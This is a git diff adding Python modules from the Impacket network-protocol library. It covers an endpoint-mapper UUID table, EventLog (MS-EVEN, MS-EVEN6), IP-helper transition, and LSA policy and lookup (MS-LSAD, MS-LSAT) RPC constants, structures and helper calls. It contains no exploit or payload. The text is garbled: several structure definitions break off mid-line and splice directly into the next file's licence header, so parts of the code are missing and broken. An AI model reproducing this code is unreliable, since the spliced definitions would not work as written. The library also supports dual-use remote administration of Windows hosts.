+'1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol', +'5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', +'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', +'1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol', +'6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol', +'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification', +'906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:', +'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', +'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol', +'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol', +'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol', +'5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol', +'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol', +'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions', +'AFA8BD80-7D8A-11C9-BEF4-08002B102989':'[MS-RPCE]: Remote Management Interface', +'00000134-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM)', +'18F70770-8E64-11CF-9AF1-0020AF6E72F4':'[MS-DCOM]: Distributed Component Object Model (DCOM)', +'958F92D8-DA20-467A-BBE3-65E7E9B4EDCF':'[MS-TSGU]: Terminal Services Gateway Server Management Interface', +'6050B110-CE87-4126-A114-50AEFCFC95F8':'[MS-DCOM]: Distributed Component Object Model (DCOM)', +'1544F5E0-613C-11D1-93DF-00C04FD7BD09':'[MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol', +'A4F1DB00-CA47-1067-B31F-00DD010662DA':'[MS-OXCRPC]: Wire Format Protocol', +'5261574A-4572-206E-B268-6B199213B4E4':'[MS-OXCRPC]: Wire Format Protocol', +} + +# Inquire Type +RPC_C_EP_ALL_ELTS = 0x0 +RPC_C_EP_MATCH_BY_IF = 0x1 +RPC_C_EP_MATH_BY_OBJ = 0x2 +RPC_C_EP_MATH_BY_BOTH = 0x1 + +# Vers Option +RPC_C_VERS_ALL = 0x1 +RPC_C_VERS_COMPATIBLE = 0x2 +RPC_C_VERS_EXACT = 0x3 +RPC_C_VERS_MARJOR_ONLY= 0x4 +RPC_C_VERS_UPTO = 0x5 + +# Search +RPC_NO_MORE_ELEMENTS = 0x16c9a0d6 + +# Floors constants +FLOOR_UUID_IDENTIFIER = 0x0d +# Protocol Identifiers +FLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5 +FLOOR_MSNP_IDENTIFIER = 0x0c # MS Named Pipes (LRPC) +# Pipe Identifier +FLOOR_NBNP_IDENTIFIER = 0x0f # NetBIOS Named Pipe +# HostName Identifier +FLOOR_MSNB_IDENTIFIER = 0x11 # MS NetBIOS HostName +# PortAddr Identifier +FLOOR_TCPPORT_IDENTIFIER = 0x07 +# HTTP Protocol +FLOOR_HTTP_IDENTIFIER = 0x1f + +################################################################################ +# STRUCTURES +################################################################################ + +# Tower Floors: As states in C706: +# This appendix defines the rules for encoding an protocol_tower_t (abstract) +# into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields +# (concrete). For historical reasons, this cannot be done using the standard NDR +# encoding rules for marshalling and unmarshalling. A special encoding is +# required. +# Note that the twr_t and twr_p_t are mashalled as standard IDL data types, +# encoded in the standard transfer syntax (for example, NDR). As far as IDL and +# NDR are concerned, tower_octet_string is simply an opaque conformant byte +# array. This section only defines how to construct this opaque open array of +# octets, which contains the actual protocol tower information. +# The tower_octet_string[ ] is a variable length array of octets that encodes +# a single, complete protocol tower. It is encoded as follows: +# * Addresses increase, reading from left to right. +# * Each tower_octet_string begins with a 2-byte floor count, encoded +# little-endian, followed by the tower floors as follows: +# +-------------+---------+---------+---------+---------+---------+ +# | floorcount | floor1 | floor2 | floor3 | ... | floorn | +# +-------------+---------+---------+---------+---------+---------+ +# The number of tower floors is specific to the particular protocol tower, +# also known as a protseq. +# * Eachtowerfloorcontainsthefollowing: +# |<- tower floor left hand side ->|<- tower floor right hand side ->| +# +------------+-----------------------+------------+----------------------+ +# | LHS byte | protocol identifier | RHS byte | related or address | +# | count | data | count | data | +# +------------+-----------------------+------------+----------------------+ +# The LHS (Left Hand Side) of the floor contains protocol identifier information. +# Protocol identifier values and construction rules are defined in Appendix I. +# The RHS (Right Hand Side) of the floor contains related or addressing +# information. The type and encoding for the currently defined protocol +# identifiers are given in Appendix I. +# The floor count, LHS byte count and RHS byte count are all 2-bytes, +# in little endian format. +# +# So.. we're gonna use Structure to solve this + +# Standard Floor Assignments +class EPMFloor(Structure): + structure = ( + ('LHSByteCount','H=0'), + ) + +EPMFloors = [ +EPMRPCInterface, +EPMRPCDataRepresentation, +EPMFloor, +EPMFloor, +EPMFloor, +EPMFloor +] + +class EPMTower(Structure): + structure = ( + ('NumberOfFloors','. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# Itamar Mizrahi (@MrAnde7son) +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDR, NDRPOINTERNULL, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import ULONG, LPWSTR, RPC_UNICODE_STRING, LPSTR, NTSTATUS, NULL, PRPC_UNICODE_STRING, PULONG, USHORT, PRPC_SID, LPBYTE +from impacket.dcerpc.v5.lsad import PRPC_UNICODE_STRING_ARRAY +from impacket.structure import Structure +from impacket import nt_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_EVEN = uuidtup_to_bin(('82273FDC-E32A-18C3-3F78-827929DC23EA','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'EVEN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'EVEN SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.2 EventType +EVENTLOG_SUCCESS = 0x0000 +EVENTLOG_ERROR_TYPE = 0x0001 +EVENTLOG_WARNING_TYPE = 0x0002 +EVENTLOG_INFORMATION_TYPE = 0x0004 +EVENTLOG_AUDIT_SUCCESS = 0x0008 +EVENTLOG_AUDIT_FAILURE = 0x0010 + +# 2.2.7 EVENTLOG_HANDLE_A and EVENTLOG_HANDLE_W +#EVENTLOG_HANDLE_A +EVENTLOG_HANDLE_W = LPWSTR + +# 2.2.9 Constants Used in Method Definitions +MAX_STRINGS = 0x00000100 +MAX_SINGLE_EVENT = 0x0003FFFF +MAX_BATCH_BUFF = 0x0007FFFF + +# 3.1.4.7 ElfrReadELW (Opnum 10) +EVENTLOG_SEQUENTIAL_READ = 0x00000001 +EVENTLOG_SEEK_READ = 0x00000002 + +EVENTLOG_FORWARDS_READ = 0x00000004 +EVENTLOG_BACKWARDS_READ = 0x00000008 + +################################################################################ +# STRUCTURES +################################################################################ + +class IELF_HANDLE(NDRSTRUCT): + structure = ( + ('Data','20s=""'), + ) + def getAlignment(self): + return 1 + +# 2.2.3 EVENTLOGRECORD +class EVENTLOGRECORD(Structure): + structure = ( + ('Length','. +# There are test cases for them too. +# +# Author: +# Itamar (@MrAnde7son) +# +from impacket import system_errors +from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin + +MSRPC_UUID_EVEN6 = uuidtup_to_bin(('F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'EVEN6 SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'EVEN6 SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +# Evt Path Flags +EvtQueryChannelName = 0x00000001 +EvtQueryFilePath = 0x00000002 +EvtReadOldestToNewest = 0x00000100 +EvtReadNewestToOldest = 0x00000200 + +################################################################################ +# STRUCTURES +################################################################################ + +class CONTEXT_HANDLE_LOG_HANDLE(NDRSTRUCT): + align = 1 + structure = ( + ('Data', '20s=""'), + ) + +class PCONTEXT_HANDLE_LOG_HANDLE(NDRPOINTER): + referent = ( + ('Data', CONTEXT_HANDLE_LOG_HANDLE), + ) + +class CONTEXT_HANDLE_LOG_QUERY(NDRSTRUCT): + align = 1 + structure = ( + ('Data', '20s=""'), + ) + +class PCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER): + referent = ( + ('Data', CONTEXT_HANDLE_LOG_QUERY), + ) + +class LPPCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER): + referent = ( + ('Data', PCONTEXT_HANDLE_LOG_QUERY), + ) + +class CONTEXT_HANDLE_OPERATION_CONTROL(NDRSTRUCT): + align = 1 + structure = ( + ('Data', '20s=""'), + ) + +class PCONTEXT_HANDLE_OPERATION_CONTROL(NDRPOINTER): + referent = ( + ('Data', CONTEXT_HANDLE_OPERATION_CONTROL), + ) + +# 2.2.11 EvtRpcQueryChannelInfo +class EvtRpcQueryChannelInfo(NDRSTRUCT): + structure = ( + ('Name', LPWSTR), + ('Status', DWORD), + ) + +class EvtRpcQueryChannelInfoArray(NDRUniVaryingArray): + item = EvtRpcQueryChannelInfo + +class LPEvtRpcQueryChannelInfoArray(NDRPOINTER): + referent = ( + ('Data', EvtRpcQueryChannelInfoArray) + ) + +class RPC_INFO(NDRSTRUCT): + structure = ( + ('Error', DWORD), + ('SubError', DWORD), + ('SubErrorParam', DWORD), + ) + +class PRPC_INFO(NDRPOINTER): + referent = ( + ('Data', RPC_INFO) + ) + +class WSTR_ARRAY(NDRUniVaryingArray): + item = WSTR + +class DWORD_ARRAY(NDRUniVaryingArray): + item = DWORD + +class LPDWORD_ARRAY(NDRPOINTER): + referent = ( + ('Data', DWORD_ARRAY) + ) + +class BYTE_ARRAY(NDRUniVaryingArray): + item = 'c' + +class CBYTE_ARRAY(NDRUniVaryingArray): + item = BYTE + +class CDWORD_ARRAY(NDRUniConformantArray): + item = DWORD + +class LPBYTE_ARRAY(NDRPOINTER): + referent = ( + ('Data', CBYTE_ARRAY) + ) + +class ULONG_ARRAY(NDRUniVaryingArray): + item = ULONG + +# 2.3.1 EVENT_DESCRIPTOR +class EVENT_DESCRIPTOR(NDRSTRUCT): + structure = ( + ('Id', WORD), + ('Version', BYTE), + ('Channel', BYTE), + ('LevelSeverity', BYTE), + ('Opcode', BYTE), + ('Task', WORD), + ('Keyword', ULONG), + ) + +class BOOKMARK(NDRSTRUCT): + structure = ( + ('BookmarkSize', DWORD), + ('HeaderSize', ' / Positive Technologies (https://www.ptsecurity.com/) +# + +from socket import inet_aton + +from impacket import uuid +from impacket import hresult_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.dtypes import BYTE, ULONG, WSTR, GUID, NULL +from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_IPHLP_IP_TRANSITION = uuidtup_to_bin(('552d076a-cb29-4e44-8b6a-d15e59e2c0af', '1.0')) + +# RPC_IF_ALLOW_LOCAL_ONLY +MSRPC_UUID_IPHLP_TEREDO = uuidtup_to_bin(('ecbdb051-f208-46b9-8c8b-648d9d3f3944', '1.0')) +MSRPC_UUID_IPHLP_TEREDO_CONSUMER = uuidtup_to_bin(('1fff8faa-ec23-4e3f-a8ce-4b2f8707e636', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'IPHLP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'IPHLP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +# Notification types +NOTIFICATION_ISATAP_CONFIGURATION_CHANGE = 0 +NOTIFICATION_PROCESS6TO4_CONFIGURATION_CHANGE = 1 +NOTIFICATION_TEREDO_CONFIGURATION_CHANGE = 2 +NOTIFICATION_IP_TLS_CONFIGURATION_CHANGE = 3 +NOTIFICATION_PORT_CONFIGURATION_CHANGE = 4 +NOTIFICATION_DNS64_CONFIGURATION_CHANGE = 5 +NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX = 6 + +################################################################################ +# STRUCTURES +################################################################################ + +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +################################################################################ +# RPC CALLS +################################################################################ + +# Opnum 0 +class IpTransitionProtocolApplyConfigChanges(NDRCALL): + opnum = 0 + structure = ( + ('NotificationNum', BYTE), + ) + +class IpTransitionProtocolApplyConfigChangesResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 1 +class IpTransitionProtocolApplyConfigChangesEx(NDRCALL): + opnum = 1 + structure = ( + ('NotificationNum', BYTE), + ('DataLength', ULONG), + ('Data', BYTE_ARRAY), + ) + +class IpTransitionProtocolApplyConfigChangesExResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 2 +class IpTransitionCreatev6Inv4Tunnel(NDRCALL): + opnum = 2 + structure = ( + ('LocalAddress', "4s=''"), + ('RemoteAddress', "4s=''"), + ('InterfaceName', WSTR), + ) + +class IpTransitionCreatev6Inv4TunnelResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 3 +class IpTransitionDeletev6Inv4Tunnel(NDRCALL): + opnum = 3 + structure = ( + ('TunnelGuid', GUID), + ) + +class IpTransitionDeletev6Inv4TunnelResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ + +OPNUMS = { + 0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse), + 1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse), + 2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse), + 3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse) +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def checkNullString(string): + if string == NULL: + return string + + if string[-1:] != '\x00': + return string + '\x00' + else: + return string + +# For all notifications except EX +def hIpTransitionProtocolApplyConfigChanges(dce, notification_num): + request = IpTransitionProtocolApplyConfigChanges() + request['NotificationNum'] = notification_num + + return dce.request(request) + +# Only for NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX +# No admin required +def hIpTransitionProtocolApplyConfigChangesEx(dce, notification_num, notification_data): + request = IpTransitionProtocolApplyConfigChangesEx() + request['NotificationNum'] = notification_num + request['DataLength'] = len(notification_data) + request['Data'] = notification_data + + return dce.request(request) + +# Same as netsh interface ipv6 add v6v4tunnel "Test Tunnel" 192.168.0.1 10.0.0.5 +def hIpTransitionCreatev6Inv4Tunnel(dce, local_address, remote_address, interface_name): + request = IpTransitionCreatev6Inv4Tunnel() + request['LocalAddress'] = inet_aton(local_address) + request['RemoteAddress'] = inet_aton(remote_address) + + request['InterfaceName'] = checkNullString(interface_name) + request.fields['InterfaceName'].fields['MaximumCount'] = 256 + + return dce.request(request) + +def hIpTransitionDeletev6Inv4Tunnel(dce, tunnel_guid): + request = IpTransitionDeletev6Inv4Tunnel() + request['TunnelGuid'] = uuid.string_to_bin(tunnel_guid) + + return dce.request(request) diff --git a/impacket/dcerpc/v5/lsad.py b/impacket/dcerpc/v5/lsad.py new file mode 100644 index 0000000..5bb1b01 --- /dev/null +++ b/impacket/dcerpc/v5/lsad.py @@ -0,0 +1,1668 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-LSAD] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \ + NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \ + LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \ + SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION +from impacket import nt_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_LSAD = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1.1.2 ACCESS_MASK for Policy Objects +POLICY_VIEW_LOCAL_INFORMATION = 0x00000001 +POLICY_VIEW_AUDIT_INFORMATION = 0x00000002 +POLICY_GET_PRIVATE_INFORMATION = 0x00000004 +POLICY_TRUST_ADMIN = 0x00000008 +POLICY_CREATE_ACCOUNT = 0x00000010 +POLICY_CREATE_SECRET = 0x00000020 +POLICY_CREATE_PRIVILEGE = 0x00000040 +POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080 +POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100 +POLICY_AUDIT_LOG_ADMIN = 0x00000200 +POLICY_SERVER_ADMIN = 0x00000400 +POLICY_LOOKUP_NAMES = 0x00000800 +POLICY_NOTIFICATION = 0x00001000 + +# 2.2.1.1.3 ACCESS_MASK for Account Objects +ACCOUNT_VIEW = 0x00000001 +ACCOUNT_ADJUST_PRIVILEGES = 0x00000002 +ACCOUNT_ADJUST_QUOTAS = 0x00000004 +ACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008 + +# 2.2.1.1.4 ACCESS_MASK for Secret Objects +SECRET_SET_VALUE = 0x00000001 +SECRET_QUERY_VALUE = 0x00000002 + +# 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects +TRUSTED_QUERY_DOMAIN_NAME = 0x00000001 +TRUSTED_QUERY_CONTROLLERS = 0x00000002 +TRUSTED_SET_CONTROLLERS = 0x00000004 +TRUSTED_QUERY_POSIX = 0x00000008 +TRUSTED_SET_POSIX = 0x00000010 +TRUSTED_SET_AUTH = 0x00000020 +TRUSTED_QUERY_AUTH = 0x00000040 + +# 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE +POLICY_MODE_INTERACTIVE = 0x00000001 +POLICY_MODE_NETWORK = 0x00000002 +POLICY_MODE_BATCH = 0x00000004 +POLICY_MODE_SERVICE = 0x00000010 +POLICY_MODE_DENY_INTERACTIVE = 0x00000040 +POLICY_MODE_DENY_NETWORK = 0x00000080 +POLICY_MODE_DENY_BATCH = 0x00000100 +POLICY_MODE_DENY_SERVICE = 0x00000200 +POLICY_MODE_REMOTE_INTERACTIVE = 0x00000400 +POLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800 +POLICY_MODE_ALL = 0x00000FF7 +POLICY_MODE_ALL_NT4 = 0x00000037 + +# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO +# EventAuditingOptions +POLICY_AUDIT_EVENT_UNCHANGED = 0x00000000 +POLICY_AUDIT_EVENT_NONE = 0x00000004 +POLICY_AUDIT_EVENT_SUCCESS = 0x00000001 +POLICY_AUDIT_EVENT_FAILURE = 0x00000002 + +# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO +# AuthenticationOptions +POLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080 + +# 2.2.7.21 LSA_FOREST_TRUST_RECORD +# Flags +LSA_TLN_DISABLED_NEW = 0x00000001 +LSA_TLN_DISABLED_ADMIN = 0x00000002 +LSA_TLN_DISABLED_CONFLICT = 0x00000004 +LSA_SID_DISABLED_ADMIN = 0x00000001 +LSA_SID_DISABLED_CONFLICT = 0x00000002 +LSA_NB_DISABLED_ADMIN = 0x00000004 +LSA_NB_DISABLED_CONFLICT = 0x00000008 +LSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1 LSAPR_HANDLE +class LSAPR_HANDLE(NDRSTRUCT): + align = 1 + structure = ( + ('Data','20s=""'), + ) + +# 2.2.2.3 LSA_UNICODE_STRING +LSA_UNICODE_STRING = RPC_UNICODE_STRING + +# 2.2.3.1 STRING +class STRING(NDRSTRUCT): + commonHdr = ( + ('MaximumLength','. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +from impacket import nt_errors +from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \ + NULL +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, PLSAPR_TRUST_INFORMATION_ARRAY +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.samr import SID_NAME_USE +from impacket.uuid import uuidtup_to_bin + +MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.10 ACCESS_MASK +POLICY_LOOKUP_NAMES = 0x00000800 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST +class 